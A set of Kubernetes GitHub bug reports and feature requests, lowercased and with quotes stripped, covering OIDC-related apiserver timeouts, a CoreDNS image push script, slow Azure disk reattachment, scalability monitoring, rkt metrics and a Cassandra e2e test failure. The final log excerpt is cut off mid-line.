lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :  linux c1 4.4.0-93-generic  116-ubuntu smp fri aug 11 21:17:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kubeadm\r \r /cc @k82cn @kubernetes/sig-scheduling-bugs \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r i redeployed k8s v1.8.10 using kube-aws v0.9.9 adding oidc to the configuration, having the right issuer-url, but the wrong client-id.\r \r after the controller node and api-server were up, kubectl certificate authenticated requests would timeout until about 20 minutes after the server started.  also, curl requests with certificate and key configured would timeout.\r \r unauthenticated requests were handled promptly.  requests to the insecure port were also handled.\r \r after redeploying with the correct oidc client-id the apiserver was responsive again.\r \r   what you expected to happen  :\r \r certificate authenticated requests would be handled promptly regardless of oidc misconfiguration.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't have a minimal recipe prepared, but i believe the only effective change in this deployment was the addition of oidc arguments to the kube-apiserver pod.\r    \r     - --oidc-issuer-url=https://accounts.google.com\r     - --oidc-client-id= something-wrong \r     - --oidc-username-claim=email\r     - '--oidc-username-prefix=oidc:'\r     - --oidc-groups-claim=groups\r     - '--oidc-groups-prefix=oidc:'\r    \r \r i'm happy to provide more details of our deployment if that would help.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.10+coreos.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : container linux by coreos 1688.4.0  rhyolite \r - kernel  e.g.  uname -a  :\r - install tools: kube-aws v0.9.9\r - others:\r

need to push the latest coredns image to gcr.io\r the 1.2.4 image is available in docker coredns/coredns:1.2.4\r \r the bug in coredns release 1.2.3 has been fixed and coredns/coredns:1.2.4 image has been tested in https://github.com/kubernetes/kubernetes/pull/69883 with all presubmit tests passing.\r  \r this is the script used for pushing the image:\r \r    \r  !/bin/sh\r \r if   -z \ $1\  -o -z \ $2\  -o -z \ $3\  -o -z \ $4\   ; then\r     echo \ usage: $0 <src-reg> <image> <tag> <dst-reg>\  > /dev/stderr\r     echo \ example: $0 coredns coredns 1.2.4 staging-k8s.gcr.io\  > /dev/stderr\r     exit 1\r fi\r \r src_reg=\ $1\ \r img=\ $2\ \r tag=\ $3\ \r dst_reg=\ $4\ \r tmp=\ /tmp/$random\ \r json=\ $tmp.json\ \r \r echo \ fetching source manifest\ \r docker manifest inspect ${src_reg}/${img}:${tag} > ${json}\r \r echo\r echo \ pulling source images by sha\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ ${src_reg}/${img}@\\\ , .digest, \\\ \ \\\  \  \\\r     | while read x; do docker pull $x; done\r \r echo\r echo \ tagging images with arch and os\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ docker tag ${src_reg}/${img}@\\\ , .digest, \\\  ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ pushing images\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ gcloud docker -- push ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ creating and pushing manifest\ \r platforms=$ cat ${json} | jq -j \ .manifests   | .platform.os, \\\ /\\\ , .platform.architecture, \\\ \ \\\ \  | paste -sd, \r echo manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r    \r \r /cc @chrisohaver \r /cc @bentheelder\r /cc @timothysc\r /cc @aishsundar \r /cc @dims \r /assign @thockin\r \r @fturib \r \r   

what happened  :\r \r in a statefulset where each pod has its own persistent volume provisioned by  kubernetes.io/azure-disk , it occasionally takes up to 30 min to detach and re-attach those disks to their node during a rollout.\r \r the following pod events repeat:\r    \r events:\r   type     reason                  age                from                                           message\r   ----     ------                  ----               ----                                           -------\r   normal   scheduled               16m                default-scheduler                              successfully assigned default/solr-0 to k8s-cbc6kqzcb6ko-32745377-vmss00007v\r   warning  failedattachvolume      16m  x2 over 16m   attachdetach-controller                        attachvolume.attach failed for volume \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  : attach volume \ k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  to instance \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/virtualmachinescalesets/k8s-cbc6kqzcb6ko-32745377-vmss/virtualmachines/283\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=0 -- original error: autorest/azure: service returned an error. status=<nil> code=\ conflictinguserinput\  message=\ disk '/subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a' cannot be attached as the disk is already owned by vm '/subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/virtualmachinescalesets/k8s-cbc6kqzcb6ko-32745377-vmss/virtualmachines/k8s-cbc6kqzcb6ko-32745377-vmss_276'.\ \r   warning  failedmount             46s  x7 over 14m   kubelet, k8s-cbc6kqzcb6ko-32745377-vmss00007v  unable to mount volumes for pod \ solr-0_default c1b3af96-7bc4-11e9-9a38-000d3a46fd3c \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ solr-0\ . list of unmounted volumes= solrhome . list of unattached volumes= solrhome \r    \r \r a subset of the controller-manager's logs  full logs on demand :\r    \r i0521 12:34:10.278536       1 reconciler.go:230  attacherdetacher.detachvolume started for volume \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   on node \ k8s-cbc6kqzcb6ko-32745377-vmss00007o\  \r i0521 12:34:10.282306       1 operation_generator.go:1256  verified volume is safe to detach for volume \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   on node \ k8s-cbc6kqzcb6ko-32745377-vmss00007o\  \r i0521 12:34:10.282515       1 attacher.go:294  detach /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a from node \ k8s-cbc6kqzcb6ko-32745377-vmss00007o\ \r i0521 12:34:10.282674       1 azure_controller_vmss.go:128  azuredisk - detach disk: name \ \  uri \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\ \r i0521 12:34:10.282710       1 azure_controller_vmss.go:158  azuredisk - update <resource-group> : vm k8s-cbc6kqzcb6ko-32745377-vmss00007o  - detach disk , /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a \r i0521 12:34:10.532211       1 azure_controller_vmss.go:171  azuredisk - detach disk , /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a  succeeded\r i0521 12:34:10.532255       1 attacher.go:309  azuredisk - disk:/subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a was detached from node:k8s-cbc6kqzcb6ko-32745377-vmss00007o\r i0521 12:34:10.532424       1 operation_generator.go:420  detachvolume.detach succeeded for volume \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   on node \ k8s-cbc6kqzcb6ko-32745377-vmss00007o\  \r i0521 12:34:20.635335       1 reconciler.go:289  attacherdetacher.attachvolume started for volume \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   from node \ k8s-cbc6kqzcb6ko-32745377-vmss00007v\  \r i0521 12:34:20.752284       1 attacher.go:92  getdisklun returned: cannot find lun for disk k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a. initiating attaching volume \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  to node \ k8s-cbc6kqzcb6ko-32745377-vmss00007v\ .\r i0521 12:34:20.752342       1 attacher.go:101  trying to attach volume \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  lun 0 to node \ k8s-cbc6kqzcb6ko-32745377-vmss00007v\ .\r i0521 12:34:20.752542       1 azure_controller_vmss.go:89  azuredisk - update <resource-group> : vm k8s-cbc6kqzcb6ko-32745377-vmss00007v  - attach disk k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a, /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a \r i0521 12:34:21.059063       1 attacher.go:107  attach volume \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  to instance \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/virtualmachinescalesets/k8s-cbc6kqzcb6ko-32745377-vmss/virtualmachines/283\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=0 -- original error: autorest/azure: service returned an error. status=<nil> code=\ conflictinguserinput\  message=\ disk '/subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a' cannot be attached as the disk is already owned by vm '/subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/virtualmachinescalesets/k8s-cbc6kqzcb6ko-32745377-vmss/virtualmachines/k8s-cbc6kqzcb6ko-32745377-vmss_276'.\ \r e0521 12:34:21.059375       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\\\ \  failed. no retries permitted until 2019-05-21 12:34:21.559301769 +0000 utc m=+487478.974495562  durationbeforeretry 500ms . error: \ attachvolume.attach failed for volume \\\ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\\\   from node \\\ k8s-cbc6kqzcb6ko-32745377-vmss00007v\\\  : attach volume \\\ k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\\\  to instance \\\ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/virtualmachinescalesets/k8s-cbc6kqzcb6ko-32745377-vmss/virtualmachines/283\\\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=0 -- original error: autorest/azure: service returned an error. status=<nil> code=\\\ conflictinguserinput\\\  message=\\\ disk '/subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a' cannot be attached as the disk is already owned by vm '/subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/virtualmachinescalesets/k8s-cbc6kqzcb6ko-32745377-vmss/virtualmachines/k8s-cbc6kqzcb6ko-32745377-vmss_276'.\\\ \ \r    \r \r state of the disk few minutes before the attach operation succeeds, returned by the azure api:\r    javascript\r   {\r     \ creationdata\ : {\r       \ createoption\ : \ empty\ ,\r       \ imagereference\ : null,\r       \ sourceresourceid\ : null,\r       \ sourceuri\ : null,\r       \ storageaccountid\ : null\r     },\r     \ diskiopsreadwrite\ : 500,\r     \ diskmbpsreadwrite\ : 60,\r     \ disksizegb\ : 5,\r     \ diskstate\ : \ unattached\ ,\r     \ encryptionsettingscollection\ : null,\r     \ hypervgeneration\ : null,\r     \ id\ : \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\ ,\r     \ location\ : \ westeurope\ ,\r     \ managedby\ : null,\r     \ name\ : \ k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\ ,\r     \ ostype\ : null,\r     \ provisioningstate\ : \ succeeded\ ,\r     \ resourcegroup\ : \ <resource-group>\ ,\r     \ sku\ : {\r       \ name\ : \ standard_lrs\ ,\r       \ tier\ : \ standard\ \r     },\r     \ tags\ : {\r       \ created-by\ : \ kubernetes-azure-dd\ ,\r       \ kubernetes.io-created-for-pv-name\ : \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\ ,\r       \ kubernetes.io-created-for-pvc-name\ : \ solrhome-solr-0\ ,\r       \ kubernetes.io-created-for-pvc-namespace\ : \ default\ \r     },\r     \ timecreated\ : \ 2018-09-03t08:44:57.287522+00:00\ ,\r     \ type\ : \ microsoft.compute/disks\ ,\r     \ zones\ : null\r   }\r    \r \r in this particular vmss, each instance has at most 2 disks attached. in busy clusters, a node can have up to 5 disks attached.\r \r the operation eventually succeeds, ~20m later in this case:\r    \r i0521 12:49:23.480621       1 attacher.go:92  getdisklun returned: cannot find lun for disk k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a. initiating attaching volume \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  to node \ k8s-cbc6kqzcb6ko-32745377-vmss00007v\ .\r i0521 12:49:23.480685       1 attacher.go:101  trying to attach volume \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  lun 0 to node \ k8s-cbc6kqzcb6ko-32745377-vmss00007v\ .\r i0521 12:49:23.480720       1 azure_controller_vmss.go:89  azuredisk - update <resource-group> : vm k8s-cbc6kqzcb6ko-32745377-vmss00007v  - attach disk k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a, /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a \r i0521 12:49:44.251047       1 azure_controller_vmss.go:99  azuredisk - attach disk k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a, /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a  succeeded\r i0521 12:49:44.251089       1 attacher.go:105  attach operation successful: volume \ /subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  attached to node \ k8s-cbc6kqzcb6ko-32745377-vmss00007v\ .\r i0521 12:49:44.251168       1 operation_generator.go:336  attachvolume.attach succeeded for volume \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subscription>/resourcegroups/<resource-group>/providers/microsoft.compute/disks/k8s-mstr-<resource-group>--pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\   from node \ k8s-cbc6kqzcb6ko-32745377-vmss00007v\  \r i0521 12:49:44.251385       1 event.go:221  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ solr-0\ , uid:\ c1b3af96-7bc4-11e9-9a38-000d3a46fd3c\ , apiversion:\ v1\ , resourceversion:\ 51861781\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulattachvolume' attachvolume.attach succeeded for volume \ pvc-a28dc201-af55-11e8-9190-000d3a2e7c6a\  \r    \r \r   what you expected to happen  :\r \r disks take no longer than 3 min to re-attach  the typical time it takes in our customers' environments .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r here is a copy of the manifest of the affected statefulset:\r \r <details>\r <summary>solr-sts.yaml</summary>\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   creationtimestamp: \ 2018-09-03t08:44:56z\ \r   generation: 175\r   labels:\r     app.kubernetes.io/component: search\r     app.kubernetes.io/managed-by: hybris-operator\r     app.kubernetes.io/name: solr\r     app.kubernetes.io/part-of: hybris\r   name: solr\r   namespace: default\r   ownerreferences:\r   - apiversion: ccv2.cx.sap.com/v1alpha1\r     blockownerdeletion: true\r     controller: true\r     kind: hybris\r     name: b2c\r     uid: a26be078-af55-11e8-9190-000d3a2e7c6a\r   resourceversion: \ 51868849\ \r   selflink: /apis/apps/v1/namespaces/default/statefulsets/solr\r   uid: a27806ab-af55-11e8-9190-000d3a2e7c6a\r spec:\r   podmanagementpolicy: parallel\r   replicas: 2\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app.kubernetes.io/name: solr\r       app.kubernetes.io/component: data\r   servicename: solr\r   template:\r     metadata:\r       annotations:\r         fluentbit.io/parser: mt-solr\r       creationtimestamp: null\r       labels:\r         app.kubernetes.io/component: search\r         app.kubernetes.io/managed-by: hybris-operator\r         app.kubernetes.io/name: solr\r         app.kubernetes.io/part-of: hybris\r     spec:\r       containers:\r       - env:\r         - name: solr_mode\r           value: slave\r         - name: solr_heap\r           value: \ 1073741824\ \r         image: cbc6kqzcb6somecustomerz1p.azurecr.io/somecustomer/solr:20190521.2\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /api\r             port: http\r             scheme: http\r           initialdelayseconds: 720\r           periodseconds: 30\r           successthreshold: 1\r           timeoutseconds: 2\r         name: solr\r         ports:\r         - containerport: 8983\r           name: http\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 1\r           httpget:\r             path: /api\r             port: http\r             scheme: http\r           initialdelayseconds: 15\r           periodseconds: 30\r           successthreshold: 1\r           timeoutseconds: 2\r         resources:\r           requests:\r             cpu: \ 1\ \r             memory: 1gi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /var/solr\r           name: solrhome\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext:\r         fsgroup: 20002\r       serviceaccount: b2c\r       serviceaccountname: b2c\r       terminationgraceperiodseconds: 30\r   updatestrategy:\r     type: rollingupdate\r   volumeclaimtemplates:\r   - metadata:\r       creationtimestamp: null\r       name: solrhome\r     spec:\r       accessmodes:\r       - readwriteonce\r       datasource: null\r       resources:\r         requests:\r           storage: 5gi\r     status:\r       phase: pending\r status:\r   collisioncount: 0\r   currentreplicas: 2\r   currentrevision: solr-6c6655774b\r   observedgeneration: 175\r   readyreplicas: 2\r   replicas: 2\r   updaterevision: solr-6c6655774b\r   updatedreplicas: 2\r    \r \r </details></br>\r \r storage class\r <details>\r <summary>default-sc.yaml</summary>\r \r    yaml\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ storage.k8s.io/v1beta1\ ,\ kind\ :\ storageclass\ ,\ metadata\ :{\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ true\ },\ labels\ :{\ kubernetes.io/cluster-service\ :\ true\ },\ name\ :\ default\ ,\ namespace\ :\ \ },\ parameters\ :{\ cachingmode\ :\ none\ ,\ kind\ :\ managed\ ,\ storageaccounttype\ :\ standard_lrs\ },\ provisioner\ :\ kubernetes.io/azure-disk\ }\r     storageclass.beta.kubernetes.io/is-default-class: \ true\ \r   creationtimestamp: \ 2018-09-02t08:19:03z\ \r   labels:\r     kubernetes.io/cluster-service: \ true\ \r   name: default\r   resourceversion: \ 266\ \r   selflink: /apis/storage.k8s.io/v1/storageclasses/default\r   uid: da416a43-ae88-11e8-b78c-000d3a2e7c6a\r parameters:\r   cachingmode: none\r   kind: managed\r   storageaccounttype: standard_lrs\r provisioner: kubernetes.io/azure-disk\r reclaimpolicy: delete\r volumebindingmode: immediate\r    \r \r </details></br>\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: v1.12.7\r - cloud provider: azure  via aks-engine \r - os  e.g:  cat /etc/os-release  : ubuntu 16.04.6 lts\r - kernel: 4.15.0-1042-azure\r - install tools:  aks-engine  https://github.com/azure/aks-engine \r - network plugin and version:\r - others: observed in westeurope and eastus regions\r \r paging @andyzhangx, @feiskyer\r \r 

in the past we had a bug that prevented us from reusing connections, so we were creating new ones very often, putting a lot of load on the api server. we should have a monitoring in place to catch such things if they'll happen in future.  this should include things like number of handshakes per origin ip.  cc @wojtek-t @davidopp @fgrzadkowski

http://kubekins.dls.corp.google.com/view/scalability/job/kubernetes-e2e-gce-enormous-cluster/112/consolefull      09:12:35 detected 998 ready nodes, found 998 nodes out of expected 1001. your cluster may not be fully functional.      we currently allow some nodes to be notready during cluster startup, but we still require all of them to be registered. do we want to change the logic to allow not registered nodes as well? @davidopp do we know why nodes didn't registered? @dchen1107

today, we expose the docker runtime's operation latency via the  pkg/kubelet/metrics  package to  prometheus . we would like to do the same for rkt runtime to understand better about the performance, and help us figure out how to improve.  cc @kubernetes/sig-node @kubernetes/rktnetes-maintainers

rather than plugging into the go apis a somewhat straight forward and very flexible model for a plugin interface is to fork & exec processes and communicate with it  json lines?  via stdin and stdout. the erlang vm uses this as one of it's methods for bridging in external code.  could make plugins easier and quicker to create and deploy.

nowadays the upstream test infra is owned by google and community members has no way to access it.  it becomes horrible issue when we need to rerun the test and reproduce the issue: - inconsistency between the ways to rerun the test. - test infra is different.  the problem becomes very serious when test involves multiple components to work together, and becomes time consuming. scheduler, scale issues are the examples.  this issue is served to discuss how we should share a test cluster/scripts in order to reproduce issues in a consistent way.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/2002/ failed:  k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:247 expected error:     < errors.errorstring | 0xc421418cd0>: {         s: \ failed to find \\\ starting listening for cql clients\\\ , last result: \\\ starting cassandra on 10.180.1.8\ cassandra_conf_dir /etc/cassandra\ cassandra_cfg /etc/cassandra/cassandra.yaml\ cassandra_auto_bootstrap true\ cassandra_broadcast_address 10.180.1.8\ cassandra_broadcast_rpc_address 10.180.1.8\ cassandra_cluster_name 'test cluster'\ cassandra_compaction_throughput_mb_per_sec\ cassandra_concurrent_compactors\ cassandra_concurrent_reads\ cassandra_concurrent_writes\ cassandra_counter_cache_size_in_mb\ cassandra_dc\ cassandra_disk_optimization_strategy ssd\ cassandra_endpoint_snitch simplesnitch\ cassandra_gc_warn_threshold_in_ms\ cassandra_internode_compression\ cassandra_key_cache_size_in_mb\ cassandra_listen_address 10.180.1.8\ cassandra_listen_interface\ cassandra_memtable_allocation_type\ cassandra_memtable_cleanup_threshold\ cassandra_memtable_flush_writers\ cassandra_migration_wait 1\ cassandra_num_tokens 32\ cassandra_rack\ cassandra_ring_delay 30000\ cassandra_rpc_address 0.0.0.0\ cassandra_rpc_interface\ cassandra_seeds\ cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider\ openjdk 64-bit server vm warning: cannot open file /var/log/cassandra/gc.log due to no such file or directory\ \ info  22:55:33 configuration location: file:/etc/cassandra/cassandra.yaml\ info  22:55:33 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.1.8; broadcast_rpc_address=10.180.1.8; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@43ee72e6; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=null; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.1.8; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; 